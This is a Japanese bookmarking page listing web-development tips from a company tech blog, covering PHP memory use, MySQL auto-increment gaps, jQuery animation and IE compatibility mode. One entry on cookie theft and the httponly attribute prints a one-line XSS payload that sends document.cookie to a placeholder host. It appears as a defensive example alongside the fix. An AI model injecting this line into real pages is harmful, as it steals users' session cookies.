タグ

ブックマーク / www.softel.co.jp (14)

  • 【php】php7の処理がphp5より良くなっているのが確認できる例 at softelメモ

    問題 php7ってphp5からいろいろ改善されているらしいですけど、何か違うんですか 答え 例えば、多次元配列を用意すると、php5まではやたらとメモリを使っていたが、php7ではメモリ使用量が抑えられ、処理も速くなっている。 <?php ini_set('memory_limit', '1G'); $a = array(); for($i = 0; $i < 50000; $i++){ for($j = 0; $j < 100; $j++){ $a[$i][$j] = ''; } } var_dump(memory_get_usage()); 上の処理をphp5で実行すると # time php test.php int(904399632) real 0m2.959s user 0m2.598s sys 0m0.362s php7で実行すると # time /usr/local/php

    【php】php7の処理がphp5より良くなっているのが確認できる例 at softelメモ
  • 1x1px 透明png画像のbase64表現 at softelメモ

    問題 1x1px 透明png画像のbase64表現 答え iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVQI12NgYAAAAAMAASDVlMcAAAAASUVORK5CYII= 68byte たぶん最小サイズ。 補足 以下の要素から成り立っている 1、pngであることを示すpng認識部 → 0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A の8byte 以下体 2、一番最初に必ず存在するIHDRチャンク → 13byteのデータとデータ長、データ名称、CRCが各4byteで25byte イメージの幅 4バイト イメージの高さ 4バイト ビットの深さ 1バイト カラー・タイプ 1バイト 圧縮方式 1バイト フィルター方式 1バイト インタレース方式 1バイト 3、画像データ部分(IDATチャンク

    1x1px 透明png画像のbase64表現 at softelメモ
  • Cookieを盗む例とhttponly属性 at softelメモ

    以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">'); example.com に対してGET渡しでdocument.cookieが送信される。 取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。 リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。 対策例 document.cookieで取得できてしまうから危険なのでは? → 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponly

    Cookieを盗む例とhttponly属性 at softelメモ
  • 【php】コマンドラインでの実行かどうか判別する at softelメモ

    問題 phpでプログラムを書きまして、コマンドラインからphp ファイル名で実行したり、ブラウザからhttp://example.com/ファイル名で実行結果を見たりしてるのですが、どうやって実行されたかに応じて実行結果の出力形式を変えたいです。 答え php_sapi_name()関数で、実行環境を教えてもらえる。 <?php echo php_sapi_name(); コマンドラインからだと ‘cli’。 Webサーバーと組み合わせて使っている場合だと、’apache2handler’, ‘cgi-fcgi’, ‘cgi’ など様々。 コマンドラインからかどうかの区別だけでよければ、以下のように書ける。 <?php if (php_sapi_name() == 'cli') { //CLI版php echo '実行結果をテキストで返そうかな'; } else { //CLI版phpでな

    【php】コマンドラインでの実行かどうか判別する at softelメモ
  • 正規表現チェッカー(JavaScript版) | Softel labs

    フラグは、次の値を任意の組み合わせで指定できます。 g ... グローバルなマッチ i ... 大文字・小文字の無視 m ... 複数行に渡るマッチ gオプションを指定すると、文字列の終わりまで繰り返し実行します。 RegExp - JavaScript | MDN 対象の文字列 test1@example.com test2@example.com test3@example.com test4@example.com test5@example.com 結果

  • history.back();問題を解決してみる at softelメモ

    history.back()はブラウザの履歴を利用して1つ前のページに戻る機能です。これによりどのページから来た訪問者でも個々のユーザーに合わせたページへ戻ることができます。 この機能、多くのところでは以下のように書かれており、ブラウザからアドレスを入力して開いた場合は機能しません。 <a href="javascript:history.back();">一つ前のページへ戻る</a> 戻るリンクはそのサイトのトップなり1つ上のカテゴリページへ戻ることを意識してリンクをクリックしますので、動かなかったり、検索エンジンへ戻ったりするとユーザーはそのままサイトから離脱している可能性が高いです。 そこで対策を考えてみます。直接来た場合はトップページへ返すことを考えます。 まず、history.lengthで考えてみます。これは戻す、進むで使う履歴がいくつあるか取ることができます。ですので、直接開

    history.back();問題を解決してみる at softelメモ
  • 【MySQL】AUTO_INCREMENTの値が増える、飛ぶ、欠番が発生する at softelメモ

    問題 auto_incrementの値が飛び飛びになるんですけど。 答え MySQL5.1.22以降、InnoDBのAUTO_INCREMENTの性能が向上しましたが、それに伴って、AUTO_INCREMENTの連番が飛ぶ場合が発生するようです。 プライマリーキー以外のユニークキーで重複してエラーとなる場合などです。 なお、MyISAMエンジンでは発生しません。 再現方法。 1、テーブルを作ります。ストレージエンジンはInnoDBにします。 CREATE TABLE test1 ( id int PRIMARY KEY AUTO_INCREMENT, a int NOT NULL UNIQUE ) ENGINE = InnoDB; 2、1行入ります insert into test1 (a) values (1); +----+---+ | id | a | +----+---+ | 1

    【MySQL】AUTO_INCREMENTの値が増える、飛ぶ、欠番が発生する at softelメモ
  • 【php】SimpleXMLでRSSを取得する at softelメモ

    問題 phpでいろんなところからRSSを取ってきて! 答え RSS2.0なら $data = array(); $rss = simplexml_load_file('https://www.softel.co.jp/blogs/tech/feed'); foreach ($rss->channel->item as $item) { $x = array(); $x['link'] = (string)$item->link; $x['title'] = (string)$item->title; $x['description'] = (string)$item->description; $x['pubDate'] = (string)$item->pubDate; $data[] = $x; } //確認 var_dump($data); $item->title などは Simp

    【php】SimpleXMLでRSSを取得する at softelメモ
  • 【JavaScript】文字数を数える at softelメモ

    問題 JavaScriptで、半角は2文字で1、全角は1文字で1とカウントしてみてください。 答え デモ JavaScript <input type="text" value="" class="char_count" data-limit="100" data-display="#char_count_display1"> <span id="char_count_display1"></span> <textarea class="char_count" data-limit="350" data-display="#char_count_display2"></textarea> <span id="char_count_display2"></span> <script> $(function() { $(".char_count").on("keyup", function()

    【JavaScript】文字数を数える at softelメモ
    typista
    typista 2013/08/28
    【JavaScript】文字数を数える
  • 【linux】lsコマンドでファイル名の数値順に並べる at softelメモ

    問題 lsコマンドって、こういう順で出力しますよね(辞書順)。1,2,3,4…(数値順)って無理ですか。 1.jpg 10.jpg 18.jpg 2.jpg 20.jpg 3.jpg 5.jpg 答え lsコマンドには、オプションで -v バージョン順 というのがある。 $ touch {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20}.jpg (ファイルを作って) $ ls -v1 (-v バージョン順で -1 一行で) 1.jpg 2.jpg 3.jpg 4.jpg 5.jpg 6.jpg 7.jpg 8.jpg 9.jpg 10.jpg 11.jpg 12.jpg 13.jpg 14.jpg 15.jpg 16.jpg 17.jpg 18.jpg 19.jpg 20.jpg 数値順になった。 もうちょっと複雑な例 $ touch

    【linux】lsコマンドでファイル名の数値順に並べる at softelメモ
    typista
    typista 2013/08/28
    【linux】lsコマンドでファイル名の数値順に並べる
  • IEに互換表示をさせない at softelメモ

    問題 IE8とかIE9とか、WindowsVistaとかWindows7とか、新しい環境のIEで、 Javascriptや画面表示がおかしいだけみたいで、互換表示にしたら動くみたいなんだけど、勝手に互換表示にさせる方法ないの? 答え 互換表示とは、IE8やIE9にIE7相当の表示をさせるモードのこと。 IE8やIE9で使って欲しいと思っているのに、互換モードで閲覧されて困る場合は、強制的に互換表示させないようにします。 IEで互換表示の指定は以下の箇所で可能で、反映される優先順位は、以下のとおり。 META タグ HTTP レスポンス ヘッダー DOCTYPE 宣言 METAタグもしくはヘッダで設定するときは、X-UA-Compatibleという項目を設定する。 X-UA-Compatible といえば、content=”IE=EmulateIE7″ を指定する話が有名だが、それ以外の値も

    typista
    typista 2013/07/26
    IEに互換表示をさせない
  • 【php】定数は遅いのか at softelメモ

    問題 定数ってパフォーマンスには何か影響ありますか? 調査結果 define()の速度ではなくて、定数を使った処理の速度を確認してみた。 以下の3種類のスクリプトを用意 ・test1.php <?php define('XXXXXXXXXX', 123456789); for ($i = 0; $i < 1000000; ++$i) { if ($i < XXXXXXXXXX) { // do nothing } } ・test2.php <?php $xxxxxxxxxx = 123456789; for ($i = 0; $i < 1000000; ++$i) { if ($i < $xxxxxxxxxx) { // do nothing } } ・test3.php <?php for ($i = 0; $i < 1000000; ++$i) { if ($i < 123456789

    【php】定数は遅いのか at softelメモ
    typista
    typista 2013/06/21
    【php】定数は遅いのか
  • Google Mapsで地図用コンテナを非表示にして地図を初期化すると表示がおかしい at softelメモ

    問題 JavaScriptでのタブ切り替えと、Google Maps の地図の表示を組み合わせた画面を作っています(Google Maps APIを使ってます)。 非表示のタブに地図の表示をしようとすると、タブを選択したときの地図の表示がおかしいです。 どうするとちゃんと表示されるでしょうか。 答え 初期化時点で地図のコンテナとなるdiv要素が非表示だと、コンテナの大きさが取得できないのか、何かがうまくいかないらしい。 対策はいくつか考えられる。 タブをクリックしたときに初期化処理をする方式 何かおかしくても初期化だけはしておいて、タブをクリックされたときに再描画を依頼する方式。 display:none; ではなくて、別の方法で隠すと大丈夫だったりするらしい(未確認) タブをクリックしたときに初期化処理をする方式 タブがクリックされて地図のコンテナのdiv要素が表示状態になってから、初期

    Google Mapsで地図用コンテナを非表示にして地図を初期化すると表示がおかしい at softelメモ
    typista
    typista 2013/05/11
    ぽけったー Google Mapsで地図用コンテナを非表示にして地図を初期化すると表示がおかしい
  • 【jQuery】拡大・縮小のアニメーションをする例 at softelメモ

    問題 jQueryプラグインとか無しで、拡大・縮小できる? 答え 拡大・縮小します。jQueryプラグイン無しで、拡大・縮小します! jQueryのanimateは、数値で設定できるスタイルシートのプロパティでしかアニメーションできない。 それならば、ほぼ表示に影響しないプロパティを利用して、値の変化を発生させ、stepオプションでそれを横から利用して拡大・縮小などのプロパティの指定に使ってはどうかというアイデアで作ってみました。 前回、回転でz-indexを使いました。違う例をやってみたいので、今回は、拡大・縮小時ならほぼ気づかれない、paddding-rightを利用してみます(もちろんz-indexでもよいです)。 //ここでは表示上ほぼ気づかれないpadding-rightをアニメーションさせます $('#sample20130315').animate({paddingRight

    【jQuery】拡大・縮小のアニメーションをする例 at softelメモ
    typista
    typista 2013/05/10
    ぽけったー jQueryで拡大・縮小のアニメーションをする例 at ソフテル jQuery部
  • 1